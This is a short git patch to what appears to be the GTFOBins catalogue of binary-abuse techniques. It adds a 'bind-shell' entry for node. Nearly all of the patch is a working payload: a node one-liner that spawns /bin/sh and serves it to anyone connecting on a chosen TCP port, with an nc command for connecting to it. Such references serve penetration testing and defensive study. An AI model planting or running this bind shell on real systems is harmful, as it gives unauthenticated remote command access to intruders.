From 414ee88fd84feb27516fdc292670aba4e8be3ee3 Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Thu, 24 May 2018 00:45:47 +0200 Subject: [PATCH] Add node bind shell --- _gtfobins/node.md | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/_gtfobins/node.md b/_gtfobins/node.md index 9013f47..0522e62 100644 --- a/_gtfobins/node.md +++ b/_gtfobins/node.md @@ -20,4 +20,14 @@ functions: sh.stdout.pipe(this); sh.stderr.pipe(this); });' + bind-shell: + - description: Run `nc 10.0.0.1 12345` to connect to the shell on the other end. + code: | + export LPORT=12345 + node -e 'sh = require("child_process").spawn("/bin/sh"); + require("net").createServer(function (client) { + client.pipe(sh.stdin); + sh.stdout.pipe(client); + sh.stderr.pipe(client); + }).listen(process.env.LPORT);' ---